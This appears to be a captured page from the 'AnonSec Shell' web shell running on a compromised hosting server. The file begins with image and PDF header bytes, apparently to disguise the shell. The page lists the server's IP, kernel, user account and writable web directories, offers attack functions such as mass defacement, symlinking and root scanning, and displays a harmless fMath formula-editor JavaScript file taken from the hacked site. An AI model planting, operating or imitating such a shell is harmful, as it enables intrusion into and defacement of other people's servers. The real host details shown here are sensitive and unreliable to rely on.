ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 82.197.83.129  /  Your IP : 216.73.216.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u489457460 ( 489457460)
PHP Version : 7.3.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u489457460/domains/syoft.com/public_html/blogs/fileman1/fmath_formula/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u489457460/domains/syoft.com/public_html/blogs/fileman1/fmath_formula/fmath_formula.js
var fMathNumbers = 0;
var fMathMathMLArray = new Array();
var fMathImageName = "";
var fMathSelectIndex = -1;

function fMathDisplayEditor(){
	fMathGetElement('fmathEditorWindow').style.display = "";
	YAHOO.fmathEditorWindow.cfg.setProperty("visible", true);
	if(fMathSelectIndex ==-1 || fMathSelectIndex >= fMathMathMLArray.length){
		fMathGetSWF('editML').setMathML("<mrow><mtext>...</mtext></mrow>");
	}else{
		fMathGetSWF('editML').setMathML(fMathMathMLArray[fMathSelectIndex]);
	}
	fMathGetSWF('editML').focus();
}

function fMathSelectElement(elem){
	var id = elem.getAttribute("id");
	var tag = "fMathImages";
	if(id.indexOf(tag)==0){
		fMathSelectIndex = parseInt(id.substring(tag.length, id.length));
	}else{
		fMathSelectIndex = -1;
	}
}

function getMathMLFromJavascript(name){
	if(fMathSelectIndex>0){
		return fMathMathMLArray[fMathSelectIndex];
	}
	return "<mrow><mtext>...</mtext></mrow>";
}


function setFileNameFromServer(n){
	fMathImageName = trim(n);
	setTimeout('fMathSaveAndUpdate()', 10);
}

function fMathSaveAndUpdate(){
	if(fMathSelectIndex==-1){
		YAHOO.fmathEditorWindow.editor.execCommand('inserthtml', "<img src='"+fMathImageName +"' id='fMathImages"+fMathNumbers +"' border='0'/>");
	}else{
		var element = YAHOO.fmathEditorWindow.editor.get('fMathImages' + fMathNumbers );
		if(element!=null){
			element.setAttribute('src', 'fMathImages'+fMathNumbers);
			fMathSelectIndex = fMathNumbers;
		}else{
			YAHOO.fmathEditorWindow.editor.execCommand('inserthtml', "<img src='"+fMathImageName +"' id='fMathImages"+fMathNumbers +"' border='0'/>");
		}
	}
	fMathNumbers = fMathNumbers +1;
	YAHOO.fmathEditorWindow.cfg.setProperty("visible", false);
	fMathGetElement('fmathEditorWindow').style.display = "none";

}

function fMathGetSWF(movieName) {
    	if (navigator.appName.indexOf("Microsoft") != -1) {
		return document.getElementById(movieName);
    	}else {
		if (document.embeds && document.embeds[movieName]){
		      return document.embeds[movieName];
		}
    		if(document[movieName].length != undefined){
			return document[movieName][1];
    		}
    		return document[movieName];
	}
}

function fMathSaveImageOnServerAndClose(p_oEvent) {
	var mathml = fMathGetSWF("editML").getMathML();
	fMathMathMLArray[fMathNumbers ] = mathml;
	fMathGetSWF("editML").saveImageOnServer();
}

function fMathGetElement(id) {
	return document.getElementById ? document.getElementById(id) : document.all[id];
}

function trim(str, chars) {
  return ltrim(rtrim(str, chars), chars);
}
function ltrim(str, chars) {
  chars = chars || "\\s";
  return str.replace(new RegExp("^[" + chars + "]+", "g"), "");
}
function rtrim(str, chars) {
  chars = chars || "\\s";
  return str.replace(new RegExp("[" + chars + "]+$", "g"), "");
}


YAHOO.util.Event.on("fMathEditorSubmit", "click", fMathSaveImageOnServerAndClose);


function initFMathFormula(mainEditor){
	// create fmathEditorWindow
	var fmathEditorWindowDiv = document.createElement('div');
	fmathEditorWindowDiv.setAttribute("id", "fmathEditorWindow");
	fmathEditorWindowDiv.style.visibility = "hidden";
	fmathEditorWindowDiv.style.display = "none";

	fmathEditorWindowDiv.innerHTML =''+
'	<div class="hd">fMath Editor Plugin from www.fmath.info</div>'+
'	<div class="bd">'+
'	<table width="870" height="400" >'+
'	<tr height="100%">'+
'		<td align="center" colspan="2">'+
'		<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0" width="870" height="400" id="editML" name="editML" align="middle">'+
'			<param name="allowScriptAccess" value="always"/>'+
'			<param name="allowFullScreen" value="true"/>'+
'			<param name="loop" value="false"/>'+
'			<param name="quality" value="high" />'+
'			<param name="flashVars" value="configUrl=configMathMLEditor.xml"/>'+
'			<param name="movie" value="fmath_formula/MathMLEditor.swf?configUrl=configMathMLEditor.xml" />'+
'			<embed src="fmath_formula/MathMLEditor.swf?configUrl=configMathMLEditor.xml"'+
'				flashVars="configUrl=configMathMLEditor.xml"'+
'				loop="false"'+
'				quality="high"'+
'				width="870"'+
'				height="400"'+
'                		id="editML"'+
'				name="editML"'+
'				align="middle"'+
'                		swliveconnect="true"'+
'				allowScriptAccess="always"'+
'				allowFullScreen="true"'+
'				type="application/x-shockwave-flash"'+
'				pluginspage="http://www.adobe.com/go/getflashplayer" />'+
'		</object>'+
'		</td>'+
'	</tr>'+
'	</table>'+
'	</div>'+

'	<div class="ft">'+
'	<table width="870">'+
'		<tr>'+
'		<td align="center">'+
'			<button id="fMathEditorSubmit" type="button" style="width:200px">Generate image and insert in html</button>'+
'		</td>'+
'		</tr>'+
'	</table>'+
'	</div>';

	document.body.appendChild(fmathEditorWindowDiv);

	YAHOO.fmathEditorWindow = new YAHOO.widget.Panel("fmathEditorWindow", {fixedcenter:true, visible:false });
	YAHOO.fmathEditorWindow.editor = mainEditor;

	mainEditor.on('toolbarLoaded', function() {
		var button = {
			type: 'push',
			label: 'Add MathML Formula',
			value: 'fmathEditor',
			disabled: false
		};
		this.toolbar.addButtonToGroup(button, "textstyle");

		this.toolbar.on('fmathEditorClick', function(o) {
			fMathDisplayEditor();
		}, mainEditor, true);


		//Setup the button to be enabled, disabled or selected
		this.on('afterNodeChange', function(o) {
			//Get the selected element
			var el = this._getSelectedElement();

			fMathSelectElement(el);
			var button = this.toolbar.getButtonByValue('fmathEditor');
			if (el && el.tagName == 'div') {
				this.toolbar.enableButton(button);
			}
		}, this, true);

		YAHOO.fmathEditorWindow.render();
	}, mainEditor, true);

}


Anon7 - 2022
AnonSec Team